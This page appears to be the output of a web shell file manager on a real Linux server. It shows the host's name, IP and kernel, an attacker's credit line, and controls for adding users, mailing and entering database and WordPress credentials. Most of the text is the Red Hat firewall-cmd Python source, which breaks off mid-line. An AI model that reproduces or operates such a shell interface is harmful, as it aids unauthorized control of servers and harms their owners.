System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
dr-xr-xr-x
]
:
/
bin
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
firewall-cmd
#!/usr/libexec/platform-python -s # -*- coding: utf-8 -*- # # Copyright (C) 2009-2016 Red Hat, Inc. # # Authors: # Thomas Woerner <twoerner@redhat.com> # Jiri Popelka <jpopelka@redhat.com> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # from gi.repository import GObject import sys sys.modules['gobject'] = GObject import argparse import os from firewall.client import FirewallClient, FirewallClientIPSetSettings, \ FirewallClientZoneSettings, FirewallClientServiceSettings, \ FirewallClientIcmpTypeSettings, FirewallClientHelperSettings, \ FirewallClientPolicySettings from firewall.errors import FirewallError from firewall import errors from firewall.functions import joinArgs, splitArgs, getPortRange from firewall.core.fw_nm import nm_is_imported, \ nm_get_connection_of_interface, nm_get_zone_of_connection, \ nm_set_zone_of_connection, nm_get_interfaces_in_zone from firewall.core.io.zone import zone_reader from firewall.core.io.policy import policy_reader from firewall.core.io.service import service_reader from firewall.core.io.ipset import ipset_reader from firewall.core.io.icmptype import icmptype_reader from firewall.core.io.helper import helper_reader from firewall.command import FirewallCommand def __usage(): sys.stdout.write(""" Usage: firewall-cmd [OPTIONS...] General Options -h, --help Prints a short help text and exits -V, --version Print the version string of firewalld -q, --quiet Do not print status messages Status Options --state Return and print firewalld state --reload Reload firewall and keep state information --complete-reload Reload firewall and lose state information --runtime-to-permanent Create permanent from runtime configuration --check-config Check permanent configuration for errors Log Denied Options --get-log-denied Print the log denied value --set-log-denied=<value> Set log denied value Permanent Options --permanent Set an option permanently Usable for options marked with [P] Zone Options --get-default-zone Print default zone for connections and interfaces --set-default-zone=<zone> Set default zone --get-active-zones Print currently active zones --get-zones Print predefined zones [P] --get-services Print predefined services [P] --get-icmptypes Print predefined icmptypes [P] --get-zone-of-interface=<interface> Print name of the zone the interface is bound to [P] --get-zone-of-source=<source>[/<mask>]|<MAC>|ipset:<ipset> Print name of the zone the source is bound to [P] --list-all-zones List everything added for or enabled in all zones [P] --new-zone=<zone> Add a new zone [P only] --new-zone-from-file=<filename> [--name=<zone>] Add a new zone from file with optional name [P only] --delete-zone=<zone> Delete an existing zone [P only] --load-zone-defaults=<zone> Load zone default settings [P only] --zone=<zone> Use this zone to set or query options, else default zone Usable for options marked with [Z] --info-zone=<zone> Print information about a zone --path-zone=<zone> Print file path of a zone [P only] Policy Options --get-policies Print predefined policies --get-active-policies Print currently active policies --list-all-policies List everything added for or enabled in all policies --new-policy=<policy> Add a new empty policy --new-policy-from-file=<filename> [--name=<policy>] Add a new policy from file with optional name override [P only] --delete-policy=<policy> Delete an existing policy --load-policy-defaults=<policy> Load policy default settings --policy=<policy> Use this policy to set or query options Usable for options marked with [O] --info-policy=<policy> Print information about a policy --path-policy=<policy> Print file path of a policy IPSet Options --get-ipset-types Print the supported ipset types --new-ipset=<ipset> --type=<ipset type> [--option=<key>[=<value>]].. Add a new ipset [P only] --new-ipset-from-file=<filename> [--name=<ipset>] Add a new ipset from file with optional name [P only] --delete-ipset=<ipset> Delete an existing ipset [P only] --load-ipset-defaults=<ipset> Load ipset default settings [P only] --info-ipset=<ipset> Print information about an ipset --path-ipset=<ipset> Print file path of an ipset [P only] --get-ipsets Print predefined ipsets --ipset=<ipset> --set-description=<description> Set new description to ipset [P only] --ipset=<ipset> --get-description Print description for ipset [P only] --ipset=<ipset> --set-short=<description> Set new short description to ipset [P only] --ipset=<ipset> --get-short Print short description for ipset [P only] --ipset=<ipset> --add-entry=<entry> Add a new entry to an ipset [P] --ipset=<ipset> --remove-entry=<entry> Remove an entry from an ipset [P] --ipset=<ipset> --query-entry=<entry> Return whether ipset has an entry [P] --ipset=<ipset> --get-entries List entries of an ipset [P] --ipset=<ipset> --add-entries-from-file=<entry> Add a new entries to an ipset [P] --ipset=<ipset> --remove-entries-from-file=<entry> Remove entries from an ipset [P] IcmpType Options --new-icmptype=<icmptype> Add a new icmptype [P only] --new-icmptype-from-file=<filename> [--name=<icmptype>] Add a new icmptype from file with optional name [P only] --delete-icmptype=<icmptype> Delete an existing icmptype [P only] --load-icmptype-defaults=<icmptype> Load icmptype default settings [P only] --info-icmptype=<icmptype> Print information about an icmptype --path-icmptype=<icmptype> Print file path of an icmptype [P only] --icmptype=<icmptype> --set-description=<description> Set new description to icmptype [P only] --icmptype=<icmptype> --get-description Print description for icmptype [P only] --icmptype=<icmptype> --set-short=<description> Set new short description to icmptype [P only] --icmptype=<icmptype> --get-short Print short description for icmptype [P only] --icmptype=<icmptype> --add-destination=<ipv> Enable destination for ipv in icmptype [P only] --icmptype=<icmptype> --remove-destination=<ipv> Disable destination for ipv in icmptype [P only] --icmptype=<icmptype> --query-destination=<ipv> Return whether destination ipv is enabled in icmptype [P only] --icmptype=<icmptype> --get-destinations List destinations in icmptype [P only] Service Options --new-service=<service> Add a new service [P only] --new-service-from-file=<filename> [--name=<service>] Add a new service from file with optional name [P only] --delete-service=<service> Delete an existing service [P only] --load-service-defaults=<service> Load icmptype default settings [P only] --info-service=<service> Print information about a service --path-service=<service> Print file path of a service [P only] --service=<service> --set-description=<description> Set new description to service [P only] --service=<service> --get-description Print description for service [P only] --service=<service> --set-short=<description> Set new short description to service [P only] --service=<service> --get-short Print short description for service [P only] --service=<service> --add-port=<portid>[-<portid>]/<protocol> Add a new port to service [P only] --service=<service> --remove-port=<portid>[-<portid>]/<protocol> Remove a port from service [P only] --service=<service> --query-port=<portid>[-<portid>]/<protocol> Return whether the port has been added for service [P only] --service=<service> --get-ports List ports of service [P only] --service=<service> --add-protocol=<protocol> Add a new protocol to service [P only] --service=<service> --remove-protocol=<protocol> Remove a protocol from service [P only] --service=<service> --query-protocol=<protocol> Return whether the protocol has been added for service [P only] --service=<service> --get-protocols List protocols of service [P only] --service=<service> --add-source-port=<portid>[-<portid>]/<protocol> Add a new source port to service [P only] --service=<service> --remove-source-port=<portid>[-<portid>]/<protocol> Remove a source port from service [P only] --service=<service> --query-source-port=<portid>[-<portid>]/<protocol> Return whether the source port has been added for service [P only] --service=<service> --get-source-ports List source ports of service [P only] --service=<service> --add-helper=<helper> Add a new helper to service [P only] --service=<service> --remove-helper=<helper> Remove a helper from service [P only] --service=<service> --query-helper=<helper> Return whether the helper has been added for service [P only] --service=<service> --get-service-helpers List helpers of service [P only] --service=<service> --set-destination=<ipv>:<address>[/<mask>] Set destination for ipv to address in service [P only] --service=<service> --remove-destination=<ipv> Disable destination for ipv i service [P only] --service=<service> --query-destination=<ipv>:<address>[/<mask>] Return whether destination ipv is set for service [P only] --service=<service> --get-destinations List destinations in service [P only] --service=<service> --add-include=<service> Add a new include to service [P only] --service=<service> --remove-include=<service> Remove a include from service [P only] --service=<service> --query-include=<service> Return whether the include has been added for service [P only] --service=<service> --get-includes List includes of service [P only] Options to Adapt and Query Zones and Policies --list-all List everything added for or enabled [P] [Z] [O] --timeout=<timeval> Enable an option for timeval time, where timeval is a number followed by one of letters 's' or 'm' or 'h' Usable for options marked with [T] --set-description=<description> Set new description [P only] [Z] [O] --get-description Print description [P only] [Z] [O] --get-target Get the target [P only] [Z] [O] --set-target=<target> Set the target [P only] [Z] [O] --set-short=<description> Set new short description [Z] [O] --get-short Print short description [P only] [Z] [O] --list-services List services added [P] [Z] --add-service=<service> Add a service [P] [Z] [O] [T] --remove-service=<service> Remove a service [P] [Z] [O] --query-service=<service> Return whether service has been added [P] [Z] [O] --list-ports List ports added [P] [Z] [O] --add-port=<portid>[-<portid>]/<protocol> Add the port [P] [Z] [O] [T] --remove-port=<portid>[-<portid>]/<protocol> Remove the port [P] [Z] [O] --query-port=<portid>[-<portid>]/<protocol> Return whether the port has been added [P] [Z] [O] --list-protocols List protocols added [P] [Z] [O] --add-protocol=<protocol> Add the protocol [P] [Z] [O] [T] --remove-protocol=<protocol> Remove the protocol [P] [Z] [O] --query-protocol=<protocol> Return whether the protocol has been added [P] [Z] [O] --list-source-ports List source ports added [P] [Z] [O] --add-source-port=<portid>[-<portid>]/<protocol> Add the source port [P] [Z] [O] [T] --remove-source-port=<portid>[-<portid>]/<protocol> Remove the source port [P] [Z] [O] --query-source-port=<portid>[-<portid>]/<protocol> Return whether the source port has been added [P] [Z] [O] --list-icmp-blocks List Internet ICMP type blocks added [P] [Z] [O] --add-icmp-block=<icmptype> Add an ICMP block [P] [Z] [O] [T] --remove-icmp-block=<icmptype> Remove the ICMP block [P] [Z] [O] --query-icmp-block=<icmptype> Return whether an ICMP block has been added [P] [Z] [O] --list-forward-ports List IPv4 forward ports added [P] [Z] [O] --add-forward-port=port=<portid>[-<portid>]:proto=<protocol>[:toport=<portid>[-<portid>]][:toaddr=<address>[/<mask>]] Add the IPv4 forward port [P] [Z] [O] [T] --remove-forward-port=port=<portid>[-<portid>]:proto=<protocol>[:toport=<portid>[-<portid>]][:toaddr=<address>[/<mask>]] Remove the IPv4 forward port [P] [Z] [O] --query-forward-port=port=<portid>[-<portid>]:proto=<protocol>[:toport=<portid>[-<portid>]][:toaddr=<address>[/<mask>]] Return whether the IPv4 forward port has been added [P] [Z] [O] --add-masquerade Enable IPv4 masquerade [P] [Z] [O] [T] --remove-masquerade Disable IPv4 masquerade [P] [Z] [O] --query-masquerade Return whether IPv4 masquerading has been enabled [P] [Z] [O] --list-rich-rules List rich language rules added [P] [Z] [O] --add-rich-rule=<rule> Add rich language rule 'rule' [P] [Z] [O] [T] --remove-rich-rule=<rule> Remove rich language rule 'rule' [P] [Z] [O] --query-rich-rule=<rule> Return whether a rich language rule 'rule' has been added [P] [Z] [O] Options to Adapt and Query Zones --add-icmp-block-inversion Enable inversion of icmp blocks for a zone [P] [Z] --remove-icmp-block-inversion Disable inversion of icmp blocks for a zone [P] [Z] --query-icmp-block-inversion Return whether inversion of icmp blocks has been enabled for a zone [P] [Z] --add-forward Enable forwarding of packets between interfaces and sources in a zone [P] [Z] [T] --remove-forward Disable forwarding of packets between interfaces and sources in a zone [P] [Z] --query-forward Return whether forwarding of packets between interfaces and sources has been enabled for a zone [P] [Z] Options to Adapt and Query Policies --get-priority Get the priority [P only] [O] --set-priority=<priority> Set the priority [P only] [O] --list-ingress-zones List ingress zones that are bound to a policy [P] [O] --add-ingress-zone=<zone> Add the ingress zone to a policy [P] [O] --remove-ingress-zone=<zone> Remove the ingress zone from a policy [P] [O] --query-ingress-zone=<zone> Query whether the ingress zone has been adedd to a policy [P] [O] --list-egress-zones List egress zones that are bound to a policy [P] [O] --add-egress-zone=<zone> Add the egress zone to a policy [P] [O] --remove-egress-zone=<zone> Remove the egress zone from a policy [P] [O] --query-egress-zone=<zone> Query whether the egress zone has been adedd to a policy [P] [O] Options to Handle Bindings of Interfaces --list-interfaces List interfaces that are bound to a zone [P] [Z] --add-interface=<interface> Bind the <interface> to a zone [P] [Z] --change-interface=<interface> Change zone the <interface> is bound to [P] [Z] --query-interface=<interface> Query whether <interface> is bound to a zone [P] [Z] --remove-interface=<interface> Remove binding of <interface> from a zone [P] [Z] Options to Handle Bindings of Sources --list-sources List sources that are bound to a zone [P] [Z] --add-source=<source>[/<mask>]|<MAC>|ipset:<ipset> Bind the source to a zone [P] [Z] --change-source=<source>[/<mask>]|<MAC>|ipset:<ipset> Change zone the source is bound to [Z] --query-source=<source>[/<mask>]|<MAC>|ipset:<ipset> Query whether the source is bound to a zone [P] [Z] --remove-source=<source>[/<mask>]|<MAC>|ipset:<ipset> Remove binding of the source from a zone [P] [Z] Helper Options --new-helper=<helper> --module=<module> [--family=<family>] Add a new helper [P only] --new-helper-from-file=<filename> [--name=<helper>] Add a new helper from file with optional name [P only] --delete-helper=<helper> Delete an existing helper [P only] --load-helper-defaults=<helper> Load helper default settings [P only] --info-helper=<helper> Print information about an helper --path-helper=<helper> Print file path of an helper [P only] --get-helpers Print predefined helpers --helper=<helper> --set-description=<description> Set new description to helper [P only] --helper=<helper> --get-description Print description for helper [P only] --helper=<helper> --set-short=<description> Set new short description to helper [P only] --helper=<helper> --get-short Print short description for helper [P only] --helper=<helper> --add-port=<portid>[-<portid>]/<protocol> Add a new port to helper [P only] --helper=<helper> --remove-port=<portid>[-<portid>]/<protocol> Remove a port from helper [P only] --helper=<helper> --query-port=<portid>[-<portid>]/<protocol> Return whether the port has been added for helper [P only] --helper=<helper> --get-ports List ports of helper [P only] --helper=<helper> --set-module=<module> Set module to helper [P only] --helper=<helper> --get-module Get module from helper [P only] --helper=<helper> --set-family={ipv4|ipv6|} Set family for helper [P only] --helper=<helper> --get-family Get module from helper [P only] Direct Options --direct First option for all direct options --get-all-chains Get all chains [P] --get-chains {ipv4|ipv6|eb} <table> Get all chains added to the table [P] --add-chain {ipv4|ipv6|eb} <table> <chain> Add a new chain to the table [P] --remove-chain {ipv4|ipv6|eb} <table> <chain> Remove the chain from the table [P] --query-chain {ipv4|ipv6|eb} <table> <chain> Return whether the chain has been added to the table [P] --get-all-rules Get all rules [P] --get-rules {ipv4|ipv6|eb} <table> <chain> Get all rules added to chain in table [P] --add-rule {ipv4|ipv6|eb} <table> <chain> <priority> <arg>... Add rule to chain in table [P] --remove-rule {ipv4|ipv6|eb} <table> <chain> <priority> <arg>... Remove rule with priority from chain in table [P] --remove-rules {ipv4|ipv6|eb} <table> <chain> Remove rules from chain in table [P] --query-rule {ipv4|ipv6|eb} <table> <chain> <priority> <arg>... Return whether a rule with priority has been added to chain in table [P] --passthrough {ipv4|ipv6|eb} <arg>... Pass a command through (untracked by firewalld) --get-all-passthroughs Get all tracked passthrough rules [P] --get-passthroughs {ipv4|ipv6|eb} <arg>... Get tracked passthrough rules [P] --add-passthrough {ipv4|ipv6|eb} <arg>... Add a new tracked passthrough rule [P] --remove-passthrough {ipv4|ipv6|eb} <arg>... Remove a tracked passthrough rule [P] --query-passthrough {ipv4|ipv6|eb} <arg>... Return whether the tracked passthrough rule has been added [P] Lockdown Options --lockdown-on Enable lockdown. --lockdown-off Disable lockdown. --query-lockdown Query whether lockdown is enabled Lockdown Whitelist Options --list-lockdown-whitelist-commands List all command lines that are on the whitelist [P] --add-lockdown-whitelist-command=<command> Add the command to the whitelist [P] --remove-lockdown-whitelist-command=<command> Remove the command from the whitelist [P] --query-lockdown-whitelist-command=<command> Query whether the command is on the whitelist [P] --list-lockdown-whitelist-contexts List all contexts that are on the whitelist [P] --add-lockdown-whitelist-context=<context> Add the context context to the whitelist [P] --remove-lockdown-whitelist-context=<context> Remove the context from the whitelist [P] --query-lockdown-whitelist-context=<context> Query whether the context is on the whitelist [P] --list-lockdown-whitelist-uids List all user ids that are on the whitelist [P] --add-lockdown-whitelist-uid=<uid> Add the user id uid to the whitelist [P] --remove-lockdown-whitelist-uid=<uid> Remove the user id uid from the whitelist [P] --query-lockdown-whitelist-uid=<uid> Query whether the user id uid is on the whitelist [P] --list-lockdown-whitelist-users List all user names that are on the whitelist [P] --add-lockdown-whitelist-user=<user> Add the user name user to the whitelist [P] --remove-lockdown-whitelist-user=<user> Remove the user name user from the whitelist [P] --query-lockdown-whitelist-user=<user> Query whether the user name user is on the whitelist [P] Panic Options --panic-on Enable panic mode --panic-off Disable panic mode --query-panic Query whether panic mode is enabled """) def try_set_zone_of_interface(_zone, interface): if nm_is_imported(): try: connection = nm_get_connection_of_interface(interface) except Exception: pass else: if connection is not None: if _zone == nm_get_zone_of_connection(connection): if _zone == "": cmd.print_warning("The interface is under control of NetworkManager and already bound to the default zone") else: cmd.print_warning("The interface is under control of NetworkManager and already bound to '%s'" % _zone) if _zone == "": cmd.print_msg("The interface is under control of NetworkManager, setting zone to default.") else: cmd.print_msg("The interface is under control of NetworkManager, setting zone to '%s'." % _zone) nm_set_zone_of_connection(_zone, connection) return True return False def try_get_zone_of_interface(interface): if nm_is_imported(): try: connection = nm_get_connection_of_interface(interface) except Exception: pass else: if connection is not None: return nm_get_zone_of_connection(connection) return False def try_nm_get_interfaces_in_zone(zone): if nm_is_imported(): try: return nm_get_interfaces_in_zone(zone) except Exception: pass return [] parser = argparse.ArgumentParser(usage="see firewall-cmd man page", add_help=False) parser_group_output = parser.add_mutually_exclusive_group() parser_group_output.add_argument("-v", "--verbose", action="store_true") parser_group_output.add_argument("-q", "--quiet", action="store_true") parser_group_standalone = parser.add_mutually_exclusive_group() parser_group_standalone.add_argument("-h", "--help", action="store_true") parser_group_standalone.add_argument("-V", "--version", action="store_true") parser_group_standalone.add_argument("--state", action="store_true") parser_group_standalone.add_argument("--reload", action="store_true") parser_group_standalone.add_argument("--complete-reload", action="store_true") parser_group_standalone.add_argument("--runtime-to-permanent", action="store_true") parser_group_standalone.add_argument("--check-config", action="store_true") parser_group_standalone.add_argument("--get-ipset-types", action="store_true") parser_group_standalone.add_argument("--get-log-denied", action="store_true") parser_group_standalone.add_argument("--set-log-denied", metavar="<value>") parser_group_standalone.add_argument("--get-automatic-helpers", action="store_true") parser_group_standalone.add_argument("--set-automatic-helpers", metavar="<value>") parser_group_standalone.add_argument("--panic-on", action="store_true") parser_group_standalone.add_argument("--panic-off", action="store_true") parser_group_standalone.add_argument("--query-panic", action="store_true") parser_group_standalone.add_argument("--lockdown-on", action="store_true") parser_group_standalone.add_argument("--lockdown-off", action="store_true") parser_group_standalone.add_argument("--query-lockdown", action="store_true") parser_group_standalone.add_argument("--get-default-zone", action="store_true") parser_group_standalone.add_argument("--set-default-zone", metavar="<zone>") parser_group_standalone.add_argument("--get-zones", action="store_true") parser_group_standalone.add_argument("--get-policies", action="store_true") parser_group_standalone.add_argument("--get-services", action="store_true") parser_group_standalone.add_argument("--get-icmptypes", action="store_true") parser_group_standalone.add_argument("--get-active-zones", action="store_true") parser_group_standalone.add_argument("--get-active-policies", action="store_true") parser_group_standalone.add_argument("--get-zone-of-interface", metavar="<iface>", action='append') parser_group_standalone.add_argument("--get-zone-of-source", metavar="<source>", action='append') parser_group_standalone.add_argument("--list-all-zones", action="store_true") parser_group_standalone.add_argument("--list-all-policies", action="store_true") parser_group_standalone.add_argument("--info-zone", metavar="<zone>") parser_group_standalone.add_argument("--info-policy", metavar="<policy>") parser_group_standalone.add_argument("--info-service", metavar="<service>") parser_group_standalone.add_argument("--info-icmptype", metavar="<icmptype>") parser_group_standalone.add_argument("--info-ipset", metavar="<ipset>") parser_group_standalone.add_argument("--info-helper", metavar="<helper>") parser_group_config = parser.add_mutually_exclusive_group() parser_group_config.add_argument("--new-icmptype", metavar="<icmptype>") parser_group_config.add_argument("--new-icmptype-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-icmptype", metavar="<icmptype>") parser_group_config.add_argument("--load-icmptype-defaults", metavar="<icmptype>") parser_group_config.add_argument("--new-service", metavar="<service>") parser_group_config.add_argument("--new-service-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-service", metavar="<service>") parser_group_config.add_argument("--load-service-defaults", metavar="<service>") parser_group_config.add_argument("--new-zone", metavar="<zone>") parser_group_config.add_argument("--new-zone-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-zone", metavar="<zone>") parser_group_config.add_argument("--load-zone-defaults", metavar="<zone>") parser_group_config.add_argument("--new-policy", metavar="<policy>") parser_group_config.add_argument("--new-policy-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-policy", metavar="<policy>") parser_group_config.add_argument("--load-policy-defaults", metavar="<policy>") parser_group_config.add_argument("--new-ipset", metavar="<ipset>") parser_group_config.add_argument("--new-ipset-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-ipset", metavar="<ipset>") parser_group_config.add_argument("--load-ipset-defaults", metavar="<ipset>") parser_group_config.add_argument("--new-helper", metavar="<helper>") parser_group_config.add_argument("--new-helper-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-helper", metavar="<helper>") parser_group_config.add_argument("--load-helper-defaults", metavar="<helper>") parser_group_config.add_argument("--path-zone", metavar="<zone>") parser_group_config.add_argument("--path-policy", metavar="<policy>") parser_group_config.add_argument("--path-service", metavar="<service>") parser_group_config.add_argument("--path-icmptype", metavar="<icmptype>") parser_group_config.add_argument("--path-ipset", metavar="<ipset>") parser_group_config.add_argument("--path-helper", metavar="<helper>") parser.add_argument("--name", default="", metavar="<name>") parser_group_lockdown_whitelist = parser.add_mutually_exclusive_group() parser_group_lockdown_whitelist.add_argument("--list-lockdown-whitelist-commands", action="store_true") parser_group_lockdown_whitelist.add_argument("--add-lockdown-whitelist-command", metavar="<command>", action='append') parser_group_lockdown_whitelist.add_argument("--remove-lockdown-whitelist-command", metavar="<command>", action='append') parser_group_lockdown_whitelist.add_argument("--query-lockdown-whitelist-command", metavar="<command>", action='append') parser_group_lockdown_whitelist.add_argument("--list-lockdown-whitelist-contexts", action="store_true") parser_group_lockdown_whitelist.add_argument("--add-lockdown-whitelist-context", metavar="<context>", action='append') parser_group_lockdown_whitelist.add_argument("--remove-lockdown-whitelist-context", metavar="<context>", action='append') parser_group_lockdown_whitelist.add_argument("--query-lockdown-whitelist-context", metavar="<context>", action='append') parser_group_lockdown_whitelist.add_argument("--list-lockdown-whitelist-uids", action="store_true") parser_group_lockdown_whitelist.add_argument("--add-lockdown-whitelist-uid", metavar="<uid>", type=int, action='append') parser_group_lockdown_whitelist.add_argument("--remove-lockdown-whitelist-uid", metavar="<uid>", type=int, action='append') parser_group_lockdown_whitelist.add_argument("--query-lockdown-whitelist-uid", metavar="<uid>", type=int, action='append') parser_group_lockdown_whitelist.add_argument("--list-lockdown-whitelist-users", action="store_true") parser_group_lockdown_whitelist.add_argument("--add-lockdown-whitelist-user", metavar="<user>", action='append') parser_group_lockdown_whitelist.add_argument("--remove-lockdown-whitelist-user", metavar="<user>", action='append') parser_group_lockdown_whitelist.add_argument("--query-lockdown-whitelist-user", metavar="<user>", action='append') parser.add_argument("--permanent", action="store_true") parser.add_argument("--zone", default="", metavar="<zone>") parser.add_argument("--policy", default="", metavar="<policy>") parser.add_argument("--timeout", default="0", metavar="<seconds>") parser_group_zone_or_policy = parser.add_mutually_exclusive_group() parser_group_zone_or_policy.add_argument("--add-interface", metavar="<iface>", action='append') parser_group_zone_or_policy.add_argument("--remove-interface", metavar="<iface>", action='append') parser_group_zone_or_policy.add_argument("--query-interface", metavar="<iface>", action='append') parser_group_zone_or_policy.add_argument("--change-interface", "--change-zone", metavar="<iface>", action='append') parser_group_zone_or_policy.add_argument("--list-interfaces", action="store_true") parser_group_zone_or_policy.add_argument("--add-source", metavar="<source>", action='append') parser_group_zone_or_policy.add_argument("--remove-source", metavar="<source>", action='append') parser_group_zone_or_policy.add_argument("--query-source", metavar="<source>", action='append') parser_group_zone_or_policy.add_argument("--change-source", metavar="<source>", action='append') parser_group_zone_or_policy.add_argument("--list-sources", action="store_true") parser_group_zone_or_policy.add_argument("--add-ingress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--remove-ingress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--query-ingress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--list-ingress-zones", action="store_true") parser_group_zone_or_policy.add_argument("--add-egress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--remove-egress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--query-egress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--list-egress-zones", action="store_true") parser_group_zone_or_policy.add_argument("--add-rich-rule", metavar="<rule>", action='append') parser_group_zone_or_policy.add_argument("--remove-rich-rule", metavar="<rule>", action='append') parser_group_zone_or_policy.add_argument("--query-rich-rule", metavar="<rule>", action='append') parser_group_zone_or_policy.add_argument("--add-service", metavar="<service>", action='append') parser_group_zone_or_policy.add_argument("--remove-service", metavar="<zone_or_policy>", action='append') parser_group_zone_or_policy.add_argument("--query-service", metavar="<zone_or_policy>", action='append') parser_group_zone_or_policy.add_argument("--add-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--remove-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--query-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--add-protocol", metavar="<protocol>", action='append') parser_group_zone_or_policy.add_argument("--remove-protocol", metavar="<protocol>", action='append') parser_group_zone_or_policy.add_argument("--query-protocol", metavar="<protocol>", action='append') parser_group_zone_or_policy.add_argument("--add-source-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--remove-source-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--query-source-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--add-forward", action="store_true") parser_group_zone_or_policy.add_argument("--remove-forward", action="store_true") parser_group_zone_or_policy.add_argument("--query-forward", action="store_true") parser_group_zone_or_policy.add_argument("--add-masquerade", action="store_true") parser_group_zone_or_policy.add_argument("--remove-masquerade", action="store_true") parser_group_zone_or_policy.add_argument("--query-masquerade", action="store_true") parser_group_zone_or_policy.add_argument("--add-icmp-block", metavar="<icmptype>", action='append') parser_group_zone_or_policy.add_argument("--remove-icmp-block", metavar="<icmptype>", action='append') parser_group_zone_or_policy.add_argument("--query-icmp-block", metavar="<icmptype>", action='append') parser_group_zone_or_policy.add_argument("--add-icmp-block-inversion", action="store_true") parser_group_zone_or_policy.add_argument("--remove-icmp-block-inversion", action="store_true") parser_group_zone_or_policy.add_argument("--query-icmp-block-inversion", action="store_true") parser_group_zone_or_policy.add_argument("--add-forward-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--remove-forward-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--query-forward-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--list-rich-rules", action="store_true") parser_group_zone_or_policy.add_argument("--list-services", action="store_true") parser_group_zone_or_policy.add_argument("--list-ports", action="store_true") parser_group_zone_or_policy.add_argument("--list-protocols", action="store_true") parser_group_zone_or_policy.add_argument("--list-icmp-blocks", action="store_true") parser_group_zone_or_policy.add_argument("--list-forward-ports", action="store_true") parser_group_zone_or_policy.add_argument("--list-source-ports", action="store_true") parser_group_zone_or_policy.add_argument("--list-all", action="store_true") parser_group_zone_or_policy.add_argument("--get-target", action="store_true") parser_group_zone_or_policy.add_argument("--set-target", metavar="<target>") parser_group_zone_or_policy.add_argument("--get-priority", action="store_true") parser_group_zone_or_policy.add_argument("--set-priority", metavar="<priority>") parser.add_argument("--option", metavar="<key>[=<value>]", action='append') parser.add_argument("--type", metavar="<ipsettype>") parser.add_argument("--ipset", metavar="<ipset>") parser_ipset = parser.add_mutually_exclusive_group() #parser_ipset.add_argument("--add-option", metavar="<key>[=<value>]") #parser_ipset.add_argument("--remove-option", metavar="<key>[=<value>]") #parser_ipset.add_argument("--query-option", metavar="<key>[=<value>]") #parser_ipset.add_argument("--get-options", action="store_true") parser_ipset.add_argument("--get-ipsets", action="store_true") parser_ipset.add_argument("--add-entry", metavar="<entry>", action='append') parser_ipset.add_argument("--remove-entry", metavar="<entry>", action='append') parser_ipset.add_argument("--query-entry", metavar="<entry>", action='append') parser_ipset.add_argument("--get-entries", action="store_true") parser_ipset.add_argument("--add-entries-from-file", metavar="<filename>", action='append') parser_ipset.add_argument("--remove-entries-from-file", metavar="<filename>", action='append') parser.add_argument("--icmptype", metavar="<icmptype>") parser_icmptype = parser.add_mutually_exclusive_group() parser_icmptype.add_argument("--add-destination", metavar="<ipv>", action='append') parser_icmptype.add_argument("--remove-destination", metavar="<ipv>", action='append') parser_icmptype.add_argument("--query-destination", metavar="<ipv>", action='append') parser_icmptype.add_argument("--get-destinations", action="store_true") parser.add_argument("--service", metavar="<service>") parser_service = parser.add_mutually_exclusive_group() parser_service.add_argument("--get-ports", action="store_true") parser_service.add_argument("--get-source-ports", action="store_true") parser_service.add_argument("--get-protocols", action="store_true") parser_service.add_argument("--add-module", metavar="<module>", action='append') parser_service.add_argument("--remove-module", metavar="<module>", action='append') parser_service.add_argument("--query-module", metavar="<module>", action='append') parser_service.add_argument("--get-modules", action="store_true") parser_service.add_argument("--add-helper", metavar="<helper>", action='append') parser_service.add_argument("--remove-helper", metavar="<helper>", action='append') parser_service.add_argument("--query-helper", metavar="<helper>", action='append') parser_service.add_argument("--get-service-helpers", action="store_true") parser_service.add_argument("--add-include", metavar="<service>", action='append') parser_service.add_argument("--remove-include", metavar="<service>", action='append') parser_service.add_argument("--query-include", metavar="<service>", action='append') parser_service.add_argument("--get-includes", action="store_true") parser_service.add_argument("--set-destination", metavar="<destination>", action='append') parser_service.add_argument("--get-destination", action="store_true") parser_service.add_argument("--set-description", metavar="<description>") parser_service.add_argument("--get-description", action="store_true") parser_service.add_argument("--set-short", metavar="<description>") parser_service.add_argument("--get-short", action="store_true") parser.add_argument("--helper", metavar="<helper>") parser.add_argument("--family", metavar="<family>") parser.add_argument("--module", metavar="<module>") parser_helper = parser.add_mutually_exclusive_group() #parser_helper.add_argument("--get-ports", action="store_true") parser_helper.add_argument("--get-helpers", action="store_true") parser_helper.add_argument("--set-module", metavar="<module>") parser_helper.add_argument("--get-module", action="store_true") #parser_helper.add_argument("--query-module", metavar="<module>") parser_helper.add_argument("--set-family", metavar="<family>|''", nargs="*") parser_helper.add_argument("--get-family", 